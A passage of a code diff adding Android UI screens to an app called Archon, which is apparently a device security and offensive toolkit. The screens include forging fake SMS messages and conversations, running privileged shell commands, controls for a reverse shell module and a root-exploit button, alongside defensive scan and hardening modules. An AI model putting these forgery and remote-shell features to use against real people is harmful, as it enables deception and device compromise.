.setPositiveButton("Forge") { _, _ ->
|
||||
val address = forgeAddress.text?.toString()?.trim() ?: ""
|
||||
val contactName = forgeContactName.text?.toString()?.trim()
|
||||
val body = forgeBody.text?.toString()?.trim() ?: ""
|
||||
val read = forgeReadStatus.isChecked
|
||||
val date = forgeCalendar.timeInMillis
|
||||
|
||||
if (address.isEmpty() || body.isEmpty()) {
|
||||
Toast.makeText(requireContext(), "Address and body required", Toast.LENGTH_SHORT).show()
|
||||
return@setPositiveButton
|
||||
}
|
||||
|
||||
Thread {
|
||||
val id = repo.forgeMessage(
|
||||
address = address,
|
||||
body = body,
|
||||
type = selectedType,
|
||||
date = date,
|
||||
contactName = contactName,
|
||||
read = read
|
||||
)
|
||||
handler.post {
|
||||
if (id >= 0) {
|
||||
val direction = if (selectedType == 1) "received" else "sent"
|
||||
appendLog("Forged $direction message id=$id to $address")
|
||||
showOutputLog()
|
||||
|
||||
// Refresh view
|
||||
if (currentThreadId > 0) {
|
||||
loadMessages(currentThreadId)
|
||||
} else {
|
||||
loadConversations()
|
||||
}
|
||||
} else {
|
||||
appendLog("Forge failed — need default SMS app role")
|
||||
showOutputLog()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
private fun showForgeConversationDialog() {
|
||||
val input = TextInputEditText(requireContext()).apply {
|
||||
hint = "Phone number (e.g. +15551234567)"
|
||||
setTextColor(resources.getColor(R.color.text_primary, null))
|
||||
setHintTextColor(resources.getColor(R.color.text_muted, null))
|
||||
setBackgroundColor(resources.getColor(R.color.surface_dark, null))
|
||||
setPadding(32, 24, 32, 24)
|
||||
inputType = android.text.InputType.TYPE_CLASS_PHONE
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Forge Conversation")
|
||||
.setMessage("Create a fake conversation with back-and-forth messages from this number:")
|
||||
.setView(input)
|
||||
.setPositiveButton("Forge") { _, _ ->
|
||||
val address = input.text?.toString()?.trim() ?: ""
|
||||
if (address.isEmpty()) {
|
||||
Toast.makeText(requireContext(), "Phone number required", Toast.LENGTH_SHORT).show()
|
||||
return@setPositiveButton
|
||||
}
|
||||
executeModuleAction("forge_conversation:$address")
|
||||
// Refresh after a short delay for the inserts to complete
|
||||
handler.postDelayed({ loadConversations() }, 2000)
|
||||
}
|
||||
.setNegativeButton("Cancel", null)
|
||||
.show()
|
||||
}
|
||||
|
||||
// ── Output log ─────────────────────────────────────────────────
|
||||
|
||||
private fun setupOutputLog() {
|
||||
btnCloseLog.setOnClickListener {
|
||||
outputLogCard.visibility = View.GONE
|
||||
}
|
||||
}
|
||||
|
||||
private fun showOutputLog() {
|
||||
outputLogCard.visibility = View.VISIBLE
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(30)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,306 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.content.Context
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import androidx.appcompat.app.AlertDialog
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.module.ModuleManager
|
||||
import com.darkhal.archon.module.ReverseShellModule
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
|
||||
class ModulesFragment : Fragment() {
|
||||
|
||||
private lateinit var serverStatusDot: View
|
||||
private lateinit var serverStatusText: TextView
|
||||
private lateinit var archonStatusDot: View
|
||||
private lateinit var archonInfoText: TextView
|
||||
private lateinit var archonUidText: TextView
|
||||
private lateinit var inputArchonCmd: TextInputEditText
|
||||
private lateinit var shieldStatusDot: View
|
||||
private lateinit var shieldStatusText: TextView
|
||||
private lateinit var honeypotStatusDot: View
|
||||
private lateinit var honeypotStatusText: TextView
|
||||
private lateinit var revshellStatusDot: View
|
||||
private lateinit var revshellStatusText: TextView
|
||||
private lateinit var outputLog: TextView
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_modules, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
// Bind views
|
||||
serverStatusDot = view.findViewById(R.id.server_status_dot)
|
||||
serverStatusText = view.findViewById(R.id.server_status_text)
|
||||
archonStatusDot = view.findViewById(R.id.archon_status_dot)
|
||||
archonInfoText = view.findViewById(R.id.archon_info_text)
|
||||
archonUidText = view.findViewById(R.id.archon_uid_text)
|
||||
inputArchonCmd = view.findViewById(R.id.input_archon_cmd)
|
||||
shieldStatusDot = view.findViewById(R.id.shield_status_dot)
|
||||
shieldStatusText = view.findViewById(R.id.shield_status_text)
|
||||
honeypotStatusDot = view.findViewById(R.id.honeypot_status_dot)
|
||||
honeypotStatusText = view.findViewById(R.id.honeypot_status_text)
|
||||
revshellStatusDot = view.findViewById(R.id.revshell_status_dot)
|
||||
revshellStatusText = view.findViewById(R.id.revshell_status_text)
|
||||
outputLog = view.findViewById(R.id.modules_output_log)
|
||||
|
||||
// Archon Server buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_run).setOnClickListener {
|
||||
val cmd = inputArchonCmd.text?.toString()?.trim() ?: ""
|
||||
if (cmd.isEmpty()) {
|
||||
appendLog("Enter a command to run")
|
||||
return@setOnClickListener
|
||||
}
|
||||
runArchonCommand(cmd)
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_info).setOnClickListener {
|
||||
appendLog("Querying server info...")
|
||||
Thread {
|
||||
val info = ArchonClient.getServerInfo(requireContext())
|
||||
handler.post {
|
||||
if (info != null) {
|
||||
appendLog("Archon: $info")
|
||||
archonInfoText.text = "Info: $info"
|
||||
} else {
|
||||
appendLog("Archon Server not running")
|
||||
archonInfoText.text = "Status: not running"
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_ping).setOnClickListener {
|
||||
Thread {
|
||||
val running = ArchonClient.isServerRunning(requireContext())
|
||||
handler.post {
|
||||
setStatusDot(archonStatusDot, running)
|
||||
appendLog(if (running) "Archon: pong" else "Archon: no response")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_archon_packages).setOnClickListener {
|
||||
runArchonCommand("pm list packages -3")
|
||||
}
|
||||
|
||||
// Shield buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_full_scan).setOnClickListener {
|
||||
runModuleAction("shield", "full_scan", "Full Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_packages).setOnClickListener {
|
||||
runModuleAction("shield", "scan_packages", "Package Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_admins).setOnClickListener {
|
||||
runModuleAction("shield", "scan_device_admins", "Device Admin Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_certs).setOnClickListener {
|
||||
runModuleAction("shield", "scan_certificates", "Certificate Scan")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_shield_scan_network).setOnClickListener {
|
||||
runModuleAction("shield", "scan_network", "Network Scan")
|
||||
}
|
||||
|
||||
// Honeypot buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_harden).setOnClickListener {
|
||||
runModuleAction("honeypot", "harden_all", "Harden All")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_reset_ad).setOnClickListener {
|
||||
runModuleAction("honeypot", "reset_ad_id", "Reset Ad ID")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_dns).setOnClickListener {
|
||||
runModuleAction("honeypot", "set_private_dns", "Private DNS")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_restrict).setOnClickListener {
|
||||
runModuleAction("honeypot", "restrict_trackers", "Restrict Trackers")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_honeypot_revoke).setOnClickListener {
|
||||
runModuleAction("honeypot", "revoke_tracker_perms", "Revoke Tracker Perms")
|
||||
}
|
||||
|
||||
// Reverse Shell buttons
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_enable).setOnClickListener {
|
||||
showRevshellWarnings(0)
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_disable).setOnClickListener {
|
||||
runModuleAction("revshell", "disable", "Disable")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_connect).setOnClickListener {
|
||||
runModuleAction("revshell", "connect", "Connect")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_disconnect).setOnClickListener {
|
||||
runModuleAction("revshell", "disconnect", "Disconnect")
|
||||
}
|
||||
view.findViewById<MaterialButton>(R.id.btn_revshell_status).setOnClickListener {
|
||||
runModuleAction("revshell", "status", "Status")
|
||||
}
|
||||
|
||||
// Initialize status
|
||||
refreshStatus()
|
||||
}
|
||||
|
||||
private fun refreshStatus() {
|
||||
Thread {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
val archonRunning = ArchonClient.isServerRunning(requireContext())
|
||||
val serverInfo = if (archonRunning) {
|
||||
ArchonClient.getServerInfo(requireContext()) ?: "running"
|
||||
} else {
|
||||
null
|
||||
}
|
||||
|
||||
val shieldStatus = ModuleManager.get("shield")?.getStatus(requireContext())
|
||||
val honeypotStatus = ModuleManager.get("honeypot")?.getStatus(requireContext())
|
||||
val revshellStatus = ModuleManager.get("revshell")?.getStatus(requireContext())
|
||||
|
||||
handler.post {
|
||||
// Server status
|
||||
val serverActive = method != PrivilegeManager.Method.NONE
|
||||
setStatusDot(serverStatusDot, serverActive)
|
||||
serverStatusText.text = when (method) {
|
||||
PrivilegeManager.Method.ROOT -> "Privilege: Root (su)"
|
||||
PrivilegeManager.Method.ARCHON_SERVER -> "Privilege: Archon Server"
|
||||
PrivilegeManager.Method.LOCAL_ADB -> "Privilege: Wireless ADB"
|
||||
PrivilegeManager.Method.SERVER_ADB -> "Privilege: AUTARCH Remote"
|
||||
PrivilegeManager.Method.NONE -> "Privilege: none — run Setup first"
|
||||
}
|
||||
|
||||
// Archon Server status
|
||||
setStatusDot(archonStatusDot, archonRunning)
|
||||
archonInfoText.text = if (archonRunning) {
|
||||
"Status: Running ($serverInfo)"
|
||||
} else {
|
||||
"Status: Not running — start in Setup tab"
|
||||
}
|
||||
|
||||
// Module status
|
||||
setStatusDot(shieldStatusDot, shieldStatus?.active == true)
|
||||
shieldStatusText.text = "Last: ${shieldStatus?.summary ?: "no scan run"}"
|
||||
|
||||
setStatusDot(honeypotStatusDot, honeypotStatus?.active == true)
|
||||
honeypotStatusText.text = "Status: ${honeypotStatus?.summary ?: "idle"}"
|
||||
|
||||
setStatusDot(revshellStatusDot, revshellStatus?.active == true)
|
||||
revshellStatusText.text = "Status: ${revshellStatus?.summary ?: "Disabled"}"
|
||||
|
||||
appendLog("Privilege: ${method.label}")
|
||||
if (archonRunning) appendLog("Archon Server: active")
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun runArchonCommand(command: String) {
|
||||
appendLog("$ $command")
|
||||
|
||||
Thread {
|
||||
val method = PrivilegeManager.getAvailableMethod()
|
||||
if (method == PrivilegeManager.Method.NONE) {
|
||||
handler.post { appendLog("Error: No privilege method — run Setup first") }
|
||||
return@Thread
|
||||
}
|
||||
|
||||
val result = PrivilegeManager.execute(command)
|
||||
handler.post {
|
||||
if (result.stdout.isNotEmpty()) {
|
||||
// Show up to 30 lines
|
||||
val lines = result.stdout.split("\n").take(30)
|
||||
for (line in lines) {
|
||||
appendLog(line)
|
||||
}
|
||||
if (result.stdout.split("\n").size > 30) {
|
||||
appendLog("... (${result.stdout.split("\n").size - 30} more lines)")
|
||||
}
|
||||
}
|
||||
if (result.stderr.isNotEmpty()) {
|
||||
appendLog("ERR: ${result.stderr}")
|
||||
}
|
||||
if (result.exitCode != 0) {
|
||||
appendLog("exit: ${result.exitCode}")
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun runModuleAction(moduleId: String, actionId: String, label: String) {
|
||||
appendLog("Running: $label...")
|
||||
|
||||
Thread {
|
||||
val result = ModuleManager.executeAction(moduleId, actionId, requireContext())
|
||||
|
||||
handler.post {
|
||||
appendLog("$label: ${result.output}")
|
||||
for (detail in result.details.take(20)) {
|
||||
appendLog(" $detail")
|
||||
}
|
||||
|
||||
// Update module status after action
|
||||
when (moduleId) {
|
||||
"shield" -> shieldStatusText.text = "Last: ${result.output}"
|
||||
"honeypot" -> honeypotStatusText.text = "Status: ${result.output}"
|
||||
"revshell" -> revshellStatusText.text = "Status: ${result.output}"
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
private fun setStatusDot(dot: View, online: Boolean) {
|
||||
val drawable = GradientDrawable()
|
||||
drawable.shape = GradientDrawable.OVAL
|
||||
drawable.setColor(if (online) Color.parseColor("#00FF41") else Color.parseColor("#666666"))
|
||||
dot.background = drawable
|
||||
}
|
||||
|
||||
private fun appendLog(msg: String) {
|
||||
val current = outputLog.text.toString()
|
||||
val lines = current.split("\n").takeLast(30)
|
||||
outputLog.text = (lines + "> $msg").joinToString("\n")
|
||||
}
|
||||
|
||||
/**
|
||||
* Show reverse shell safety warnings one at a time.
|
||||
* After all 3 are accepted, set the warning flag and run the enable action.
|
||||
*/
|
||||
private fun showRevshellWarnings(index: Int) {
|
||||
val warnings = ReverseShellModule.WARNINGS
|
||||
if (index >= warnings.size) {
|
||||
// All warnings accepted — set the prefs flag and enable
|
||||
val prefs = requireContext().getSharedPreferences("archon_revshell", Context.MODE_PRIVATE)
|
||||
prefs.edit().putBoolean("revshell_warnings_accepted", true).apply()
|
||||
appendLog("All warnings accepted")
|
||||
runModuleAction("revshell", "enable", "Enable")
|
||||
return
|
||||
}
|
||||
|
||||
AlertDialog.Builder(requireContext())
|
||||
.setTitle("Warning ${index + 1} of ${warnings.size}")
|
||||
.setMessage(warnings[index])
|
||||
.setPositiveButton("I Understand") { _, _ ->
|
||||
showRevshellWarnings(index + 1)
|
||||
}
|
||||
.setNegativeButton("Cancel") { _, _ ->
|
||||
appendLog("Reverse shell enable cancelled at warning ${index + 1}")
|
||||
}
|
||||
.setCancelable(false)
|
||||
.show()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,231 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.LoginActivity
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.service.DiscoveryManager
|
||||
import com.darkhal.archon.util.AuthManager
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.darkhal.archon.util.SslHelper
|
||||
import com.google.android.material.button.MaterialButton
|
||||
import com.google.android.material.materialswitch.MaterialSwitch
|
||||
import com.google.android.material.textfield.TextInputEditText
|
||||
|
||||
class SettingsFragment : Fragment() {
|
||||
|
||||
private lateinit var inputServerIp: TextInputEditText
|
||||
private lateinit var inputWebPort: TextInputEditText
|
||||
private lateinit var inputAdbPort: TextInputEditText
|
||||
private lateinit var inputUsbipPort: TextInputEditText
|
||||
private lateinit var switchAutoRestart: MaterialSwitch
|
||||
private lateinit var statusText: TextView
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_settings, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
inputServerIp = view.findViewById(R.id.input_server_ip)
|
||||
inputWebPort = view.findViewById(R.id.input_web_port)
|
||||
inputAdbPort = view.findViewById(R.id.input_adb_port)
|
||||
inputUsbipPort = view.findViewById(R.id.input_usbip_port)
|
||||
switchAutoRestart = view.findViewById(R.id.switch_settings_auto_restart)
|
||||
statusText = view.findViewById(R.id.settings_status)
|
||||
|
||||
loadSettings()
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_save_settings).setOnClickListener {
|
||||
saveSettings()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_auto_detect).setOnClickListener {
|
||||
autoDetectServer(it as MaterialButton)
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_test_connection).setOnClickListener {
|
||||
testConnection()
|
||||
}
|
||||
|
||||
view.findViewById<MaterialButton>(R.id.btn_logout).setOnClickListener {
|
||||
AuthManager.logout(requireContext())
|
||||
val intent = android.content.Intent(requireContext(), LoginActivity::class.java)
|
||||
intent.flags = android.content.Intent.FLAG_ACTIVITY_NEW_TASK or android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK
|
||||
startActivity(intent)
|
||||
}
|
||||
}
|
||||
|
||||
private fun loadSettings() {
|
||||
val ctx = requireContext()
|
||||
inputServerIp.setText(PrefsManager.getServerIp(ctx))
|
||||
inputWebPort.setText(PrefsManager.getWebPort(ctx).toString())
|
||||
inputAdbPort.setText(PrefsManager.getAdbPort(ctx).toString())
|
||||
inputUsbipPort.setText(PrefsManager.getUsbIpPort(ctx).toString())
|
||||
switchAutoRestart.isChecked = PrefsManager.isAutoRestartAdb(ctx)
|
||||
}
|
||||
|
||||
private fun saveSettings() {
|
||||
val ctx = requireContext()
|
||||
|
||||
val serverIp = inputServerIp.text.toString().trim()
|
||||
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||
val adbPort = inputAdbPort.text.toString().trim().toIntOrNull() ?: 5555
|
||||
val usbipPort = inputUsbipPort.text.toString().trim().toIntOrNull() ?: 3240
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
statusText.text = "Error: Server IP cannot be empty"
|
||||
return
|
||||
}
|
||||
|
||||
// Validate IP format (IPv4 or hostname)
|
||||
if (!isValidIpOrHostname(serverIp)) {
|
||||
statusText.text = "Error: Invalid IP address or hostname"
|
||||
return
|
||||
}
|
||||
|
||||
// Validate port ranges
|
||||
if (webPort < 1 || webPort > 65535) {
|
||||
statusText.text = "Error: Web port must be 1-65535"
|
||||
return
|
||||
}
|
||||
if (adbPort < 1 || adbPort > 65535) {
|
||||
statusText.text = "Error: ADB port must be 1-65535"
|
||||
return
|
||||
}
|
||||
|
||||
PrefsManager.setServerIp(ctx, serverIp)
|
||||
PrefsManager.setWebPort(ctx, webPort)
|
||||
PrefsManager.setAdbPort(ctx, adbPort)
|
||||
PrefsManager.setUsbIpPort(ctx, usbipPort)
|
||||
PrefsManager.setAutoRestartAdb(ctx, switchAutoRestart.isChecked)
|
||||
|
||||
statusText.text = "Settings saved"
|
||||
Toast.makeText(ctx, "Settings saved", Toast.LENGTH_SHORT).show()
|
||||
}
|
||||
|
||||
private fun isValidIpOrHostname(input: String): Boolean {
|
||||
// IPv4 pattern
|
||||
val ipv4 = Regex("""^(\d{1,3})\.(\d{1,3})\.(\d{1,3})\.(\d{1,3})$""")
|
||||
val match = ipv4.matchEntire(input)
|
||||
if (match != null) {
|
||||
return match.groupValues.drop(1).all {
|
||||
val n = it.toIntOrNull() ?: return false
|
||||
n in 0..255
|
||||
}
|
||||
}
|
||||
// Hostname pattern (alphanumeric, dots, hyphens)
|
||||
val hostname = Regex("""^[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?(\.[a-zA-Z0-9]([a-zA-Z0-9\-]*[a-zA-Z0-9])?)*$""")
|
||||
return hostname.matches(input)
|
||||
}
|
||||
|
||||
private fun autoDetectServer(btn: MaterialButton) {
|
||||
statusText.text = "Scanning for AUTARCH server..."
|
||||
btn.isEnabled = false
|
||||
btn.text = "SCANNING..."
|
||||
|
||||
val discovery = DiscoveryManager(requireContext())
|
||||
discovery.listener = object : DiscoveryManager.Listener {
|
||||
override fun onServerFound(server: DiscoveryManager.DiscoveredServer) {
|
||||
discovery.stopDiscovery()
|
||||
|
||||
val method = when (server.method) {
|
||||
DiscoveryManager.ConnectionMethod.MDNS -> "LAN (mDNS)"
|
||||
DiscoveryManager.ConnectionMethod.WIFI_DIRECT -> "Wi-Fi Direct"
|
||||
DiscoveryManager.ConnectionMethod.BLUETOOTH -> "Bluetooth"
|
||||
}
|
||||
|
||||
if (server.ip.isNotEmpty()) {
|
||||
inputServerIp.setText(server.ip)
|
||||
}
|
||||
if (server.port > 0) {
|
||||
inputWebPort.setText(server.port.toString())
|
||||
}
|
||||
|
||||
statusText.text = "Found ${server.hostname} via $method\nIP: ${server.ip} Port: ${server.port}"
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT SERVER"
|
||||
}
|
||||
|
||||
override fun onDiscoveryStarted(method: DiscoveryManager.ConnectionMethod) {}
|
||||
|
||||
override fun onDiscoveryStopped(method: DiscoveryManager.ConnectionMethod) {
|
||||
if (discovery.getDiscoveredServers().isEmpty()) {
|
||||
handler.post {
|
||||
statusText.text = "No AUTARCH server found on network.\nCheck that the server is running and on the same network."
|
||||
btn.isEnabled = true
|
||||
btn.text = "AUTO-DETECT SERVER"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
override fun onDiscoveryError(method: DiscoveryManager.ConnectionMethod, error: String) {}
|
||||
}
|
||||
discovery.startDiscovery()
|
||||
}
|
||||
|
||||
private fun testConnection() {
|
||||
val serverIp = inputServerIp.text.toString().trim()
|
||||
val webPort = inputWebPort.text.toString().trim().toIntOrNull() ?: 8181
|
||||
|
||||
if (serverIp.isEmpty()) {
|
||||
statusText.text = "Error: Enter a server IP first"
|
||||
return
|
||||
}
|
||||
|
||||
if (!isValidIpOrHostname(serverIp)) {
|
||||
statusText.text = "Error: Invalid IP address"
|
||||
return
|
||||
}
|
||||
|
||||
statusText.text = "Testing connection to $serverIp..."
|
||||
|
||||
Thread {
|
||||
// Ping test
|
||||
val pingResult = ShellExecutor.execute("ping -c 1 -W 3 $serverIp")
|
||||
val pingOk = pingResult.exitCode == 0
|
||||
|
||||
// HTTPS test — probe root endpoint
|
||||
val httpOk = try {
|
||||
val url = java.net.URL("https://$serverIp:$webPort/")
|
||||
val conn = url.openConnection() as java.net.HttpURLConnection
|
||||
SslHelper.trustSelfSigned(conn)
|
||||
conn.connectTimeout = 5000
|
||||
conn.readTimeout = 5000
|
||||
conn.requestMethod = "GET"
|
||||
val code = conn.responseCode
|
||||
conn.disconnect()
|
||||
code in 200..399
|
||||
} catch (e: Exception) {
|
||||
false
|
||||
}
|
||||
|
||||
handler.post {
|
||||
val status = StringBuilder()
|
||||
status.append("Ping: ${if (pingOk) "OK" else "FAILED"}\n")
|
||||
status.append("HTTPS ($webPort): ${if (httpOk) "OK" else "FAILED"}")
|
||||
if (!pingOk && !httpOk) {
|
||||
status.append("\n\nServer unreachable. Check WireGuard tunnel and IP.")
|
||||
} else if (pingOk && !httpOk) {
|
||||
status.append("\n\nHost reachable but web UI not responding on port $webPort.")
|
||||
}
|
||||
statusText.text = status.toString()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,293 @@
|
||||
package com.darkhal.archon.ui
|
||||
|
||||
import android.Manifest
|
||||
import android.content.ClipData
|
||||
import android.content.ClipboardManager
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.graphics.Color
|
||||
import android.graphics.drawable.GradientDrawable
|
||||
import android.net.Uri
|
||||
import android.os.Build
|
||||
import android.os.Bundle
|
||||
import android.os.Handler
|
||||
import android.os.Looper
|
||||
import android.view.LayoutInflater
|
||||
import android.view.View
|
||||
import android.view.ViewGroup
|
||||
import android.widget.TextView
|
||||
import android.widget.Toast
|
||||
import androidx.activity.result.contract.ActivityResultContracts
|
||||
import androidx.core.content.ContextCompat
|
||||
import androidx.fragment.app.Fragment
|
||||
import com.darkhal.archon.R
|
||||
import com.darkhal.archon.server.ArchonClient
|
||||
import com.darkhal.archon.service.LocalAdbClient
|
||||
import com.darkhal.archon.service.PairingReceiver
|
||||
import com.darkhal.archon.util.PrefsManager
|
||||
import com.darkhal.archon.util.PrivilegeManager
|
||||
import com.darkhal.archon.util.ShellExecutor
|
||||
import com.google.android.material.button.MaterialButton
|
||||
|
||||
class SetupFragment : Fragment() {
|
||||
|
||||
private lateinit var privilegeStatusDot: View
|
||||
private lateinit var privilegeStatusText: TextView
|
||||
private lateinit var btnStartPairing: MaterialButton
|
||||
private lateinit var localAdbStatus: TextView
|
||||
private lateinit var archonServerStatusDot: View
|
||||
private lateinit var archonServerStatus: TextView
|
||||
private lateinit var btnStartArchonServer: MaterialButton
|
||||
private lateinit var btnStopArchonServer: MaterialButton
|
||||
private lateinit var btnShowCommand: MaterialButton
|
||||
private lateinit var serverAdbStatus: TextView
|
||||
private lateinit var btnBootstrapUsb: MaterialButton
|
||||
private lateinit var rootStatus: TextView
|
||||
private lateinit var btnCheckRoot: MaterialButton
|
||||
private lateinit var btnRootExploit: MaterialButton
|
||||
private lateinit var outputLog: TextView
|
||||
|
||||
private val handler = Handler(Looper.getMainLooper())
|
||||
|
||||
// Notification permission request (Android 13+)
|
||||
private val notificationPermissionLauncher = registerForActivityResult(
|
||||
ActivityResultContracts.RequestPermission()
|
||||
) { granted ->
|
||||
if (granted) {
|
||||
startPairingNotification()
|
||||
} else {
|
||||
appendLog("Notification permission denied — cannot show pairing notification")
|
||||
appendLog("Grant notification permission in app settings")
|
||||
}
|
||||
}
|
||||
|
||||
override fun onCreateView(
|
||||
inflater: LayoutInflater,
|
||||
container: ViewGroup?,
|
||||
savedInstanceState: Bundle?
|
||||
): View {
|
||||
return inflater.inflate(R.layout.fragment_setup, container, false)
|
||||
}
|
||||
|
||||
override fun onViewCreated(view: View, savedInstanceState: Bundle?) {
|
||||
super.onViewCreated(view, savedInstanceState)
|
||||
|
||||
// Bind views
|
||||
privilegeStatusDot = view.findViewById(R.id.privilege_status_dot)
|
||||
privilegeStatusText = view.findViewById(R.id.privilege_status_text)
|
||||
btnStartPairing = view.findViewById(R.id.btn_start_pairing)
|
||||
localAdbStatus = view.findViewById(R.id.local_adb_status)
|
||||
archonServerStatusDot = view.findViewById(R.id.archon_server_status_dot)
|
||||
archonServerStatus = view.findViewById(R.id.archon_server_status)
|
||||
btnStartArchonServer = view.findViewById(R.id.btn_start_archon_server)
|
||||
btnStopArchonServer = view.findViewById(R.id.btn_stop_archon_server)
|
||||
btnShowCommand = view.findViewById(R.id.btn_show_command)
|
||||
serverAdbStatus = view.findViewById(R.id.server_adb_status)
|
||||
btnBootstrapUsb = view.findViewById(R.id.btn_bootstrap_usb)
|
||||
rootStatus = view.findViewById(R.id.root_status)
|
||||
btnCheckRoot = view.findViewById(R.id.btn_check_root)
|
||||
btnRootExploit = view.findViewById(R.id.btn_root_exploit)
|
||||
outputLog = view.findViewById(R.id.setup_output_log)
|
||||
|
||||
setupListeners()
|
||||
initializeStatus()
|
||||
}
|
||||
|
||||
private fun setupListeners() {
|
||||
// ── Wireless Debugging (Shizuku-style notification) ──
|
||||
btnStartPairing.setOnClickListener {
|
||||
// Check notification permission for Android 13+
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.TIRAMISU) {
|
||||
if (ContextCompat.checkSelfPermission(
|
||||
requireContext(), Manifest.permission.POST_NOTIFICATIONS
|
||||
) != PackageManager.PERMISSION_GRANTED
|
||||
) {
|
||||
notificationPermissionLauncher.launch(Manifest.permission.POST_NOTIFICATIONS)
|
||||
return@setOnClickListener
|
||||
}
|
||||
}
|
||||
startPairingNotification()
|
||||
}
|
||||
|
||||
// ── Archon Server ──
|
||||
btnStartArchonServer.setOnClickListener {
|
||||
btnStartArchonServer.isEnabled = false
|
||||
appendLog("Starting Archon Server...")
|
||||
|
||||
Thread {
|
||||
val result = ArchonClient.startServer(requireContext())
|
||||
handler.post {
|
||||
btnStartArchonServer.isEnabled = true
|
||||
appendLog(result.message)
|
||||
updateArchonServerStatus()
|
||||
if (result.success) {
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
|
||||
btnStopArchonServer.setOnClickListener {
|
||||
appendLog("Stopping Archon Server...")
|
||||
Thread {
|
||||
val stopped = ArchonClient.stopServer(requireContext())
|
||||
handler.post {
|
||||
appendLog(if (stopped) "Server stopped" else "Failed to stop server")
|
||||
updateArchonServerStatus()
|
||||
PrivilegeManager.refreshMethod()
|
||||
updatePrivilegeStatus()
|
||||
}
|
||||
}.start()
|
||||
}
|
